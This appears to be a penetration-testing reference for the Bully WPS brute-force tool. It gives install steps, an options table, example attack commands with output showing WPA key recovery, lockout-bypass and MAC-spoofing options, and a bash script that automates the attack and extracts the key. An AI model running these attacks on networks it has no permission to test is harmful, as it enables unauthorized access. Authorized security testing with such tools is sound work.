Bully is a WPS brute-force attack tool written in C, created as a more robust and portable alternative to Reaver. It targets the same underlying design flaw in the WPS protocol — the two-stage PIN validation — but was built from the ground up to handle edge cases more gracefully: implementations that respond unusually to malformed packets, APs with aggressive rate-limiting, and adapters/drivers that Reaver handles poorly.
Key differences from Reaver:
- Written in C rather than relying on external libraries as heavily, giving it a smaller footprint and better performance on constrained hardware.
- More configurable retry/timeout logic, often succeeding against APs where Reaver stalls or crashes.
- Built-in support for pin-checksum validation and better session-state handling.
- Actively used as Wifite’s alternative WPS engine (
--bullyflag).
Bully is maintained as part of the bully package in Kali Linux, originally authored by Brad Antoniewicz.
How to Install
Bully ships pre-installed on Kali Linux. Verify with:
bully --help | head -5
Expected output:
$ bully --help
Bully v1.4-15-g0dd6c0f (C) 2012, Bradley Antoniewicz
Usage: bully <interface> -b <bssid> [OPTIONS]
If missing, install with apt:
sudo apt update
sudo apt install bully -y
Building from source:
sudo apt install build-essential libpcap-dev libssl-dev -y
git clone https://github.com/aanarchyy/bully.git
cd bully/src
make
sudo make install
Syntax
bully <monitor interface> -b <BSSID> [options]
All Command-Line Options
| Option | Description |
|---|---|
-b, --bssid <mac> | Target access point BSSID (required) |
-c, --channel <ch> | Channel to use (default: auto-detect) |
-e, --essid <ssid> | Target ESSID (required for hidden networks) |
-p, --piece <pin> | Start brute-force at a specific PIN |
-l, --lockwait <sec> | Seconds to wait when AP reports WPS locked (default 43) |
-d, --detectlock | Enable detection of WPS lock state |
-f, --force | Ignore lock detection, keep attempting |
-o, --outfile <file> | Output log file |
-v, --verbosity <1-4> | Set verbosity level |
-B, --bruteforce | Enable full brute-force mode |
-F, --fixed | Disable channel hopping |
-i, --index <n> | Interface index if multiple exist |
-m, --mac <mac> | Spoof source MAC address |
-r, --retries <n> | Number of retries per state before giving up |
-t, --timeout <sec> | Response timeout per state |
-T, --m57timeout <sec> | Timeout waiting for M5/M7 |
-s, --source <ip> | Source IP address to use |
-a, --acktimeout <sec> | ACK timeout duration |
-x, --eapfail-timeout <sec> | Timeout after EAP failure |
-h, --help | Show help |
-S, --sigint | Interrupt gracefully on Ctrl+C, saving session |
-z, --nocheck | Disable checksum validation for candidate PINs |
-5, --5ghz | Operate on 5GHz band |
Basic Usage (Expected Output in Bash)
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -v 3
[!] WPS: Sending EAPOL Start...
[!] Sniffing Probe Response/Beacon...
[+] Found packet with valid ESSID
[!] Index: 0 Try: 1/11000 PIN: 12345670
[!] Sending WPS Message M2...
[!] Waiting for message M3...
Practical Examples with Output
Example 1: Basic attack against a target BSSID
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -e HomeLab_5G -v 3
[+] Trying pin: 12345670
[+] Sending EAPOL Start
[!] Got M1 response
[+] Sending M2 message
[-] AP rejected PIN half 1 (M4 fail)
[+] Trying pin: 12345671
Example 2: Enabling lock detection to avoid wasted attempts
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -d -l 60 -v 3
[!] WPS appears to be locked
[!] Waiting 60 seconds before retrying (lock detected)
[+] Resuming after lock timeout
Example 3: Forcing attempts despite lock detection
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -f -v 3
[!] Ignoring detected lock state (force mode enabled)
[+] Trying pin: 23456780
Example 4: Resuming a saved session
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -S -v 3
[+] Restoring previous session (index 3421 of 11000)
[+] Trying pin: 34211230
Example 5: Using a custom starting PIN
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -p 50000000 -v 3
[+] Starting brute-force at PIN: 50000000
[+] Trying pin: 50000000
[+] Trying pin: 50000010
Example 6: Increasing retries and timeout for a flaky connection
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -r 3 -t 5 -v 3
[+] Retry count set to 3, timeout 5s per state
[!] M3 timeout, retry 1/3
[!] M3 timeout, retry 2/3
[+] Received M3, continuing
Example 7: Full brute-force with checksum validation disabled
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -B -z -v 3
[+] Brute-force mode: testing all 8-digit combinations (checksum ignored)
[+] Trying pin: 00000000
[+] Trying pin: 00000001
Example 8: Successful PIN and PSK recovery
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -v 3
[+] Trying pin: 63025670
[+] WPS PIN found: 63025670
[+] SSID: HomeLab_5G
[+] WPA PSK: mylabpassword123
[+] Session saved
Example 9: Spoofing source MAC address for anonymity in a lab test
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -m 00:11:22:AA:BB:CC -v 3
[+] Spoofing source MAC: 00:11:22:AA:BB:CC
[+] Sending EAPOL Start
Example 10: Logging output to a file for later review
$ sudo bully wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -o bully_attack.log -v 4
[+] Verbose logging enabled, writing to bully_attack.log
Common Use Cases
- Secondary WPS attack tool when Reaver fails, crashes, or stalls against a particular vendor’s WPS implementation.
- Testing AP resilience to WPS lockout bypass using
-f(force mode) to see if lockout can be circumvented by ignoring reported lock states. - Constrained hardware pentesting (e.g., Raspberry Pi-based drop boxes) where Bully’s lighter resource footprint is preferable to Reaver.
- Cross-validation — running both Reaver and Bully against the same target to compare reliability and results during a formal assessment.
- Long-running unattended brute-force sessions using
-Ssession persistence across reboots or interruptions.
Automation with Bash
#!/bin/bash
# bully_attack.sh - Automated Bully WPS attack with fallback retry logic
# Usage: sudo ./bully_attack.sh <interface> <bssid> <channel> <essid>
IFACE=$1
BSSID=$2
CHANNEL=$3
ESSID=$4
LOGFILE="bully_${BSSID//:/-}_$(date +%Y%m%d_%H%M%S).log"
if [[ -z "$IFACE" || -z "$BSSID" || -z "$CHANNEL" || -z "$ESSID" ]]; then
echo "Usage: sudo $0 <interface> <bssid> <channel> <essid>"
exit 1
fi
echo "[*] Starting Bully attack against $ESSID ($BSSID) on channel $CHANNEL"
sudo bully "$IFACE" -b "$BSSID" -c "$CHANNEL" -e "$ESSID" \
-d -l 60 -r 3 -t 5 -S -v 3 2>&1 | tee "$LOGFILE"
if grep -q "WPA PSK" "$LOGFILE"; then
KEY=$(grep "WPA PSK" "$LOGFILE" | awk -F': ' '{print $2}')
echo "[+] SUCCESS: Recovered PSK for $ESSID: $KEY"
else
echo "[!] Attack did not complete successfully. Check $LOGFILE for details."
fi
Tips and Best Practices
- Enable
-d(lock detection) by default to avoid wasting attempts against a locked AP — this is safer and more polite than force mode. - Only use
-f(force) when explicitly testing whether an AP’s lockout mechanism can be bypassed, as part of an authorized assessment. - Use
-Sfor any long-running attack — WPS brute-forcing can take hours, and session persistence avoids restarting from PIN zero after an interruption. - Cross-check results between Bully and Reaver; a target that fails on one frequently succeeds on the other due to subtle protocol-handling differences.
- Increase
-r(retries) and-t(timeout) values when working against distant or weak-signal targets to reduce false “failed” states caused by dropped packets, not actual PIN rejection. - Combine with
wash(from the Reaver package) for initial WPS-enabled target discovery, since Bully itself does not include a scanning mode.
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| “Timeout waiting for beacon” | Wrong channel or AP out of range | Verify channel with wash, move closer |
| Constant “M3 timeout” | Weak signal / severe packet loss | Increase -t and -r, move closer |
| Attack immediately reports “locked” | AP enforces lockout after previous attempts (possibly from Reaver) | Wait out lock period with -l, or pause testing |
| PIN never found despite full range tested | AP has patched checksum vuln or uses randomized responses | Target likely not vulnerable; try Pixie Dust via Reaver instead |
Session doesn’t resume with -S | Session state file missing/corrupted | Remove stale session files, restart attack from scratch |
| High CPU/network usage on constrained hardware | Verbosity too high, excessive logging | Lower -v level, disable file logging |
References
- Bully GitHub repository (aanarchyy fork): https://github.com/aanarchyy/bully
- Kali Linux Tools listing: https://www.kali.org/tools/bully/
- Original Bully documentation and man page:
man bully(on Kali Linux)
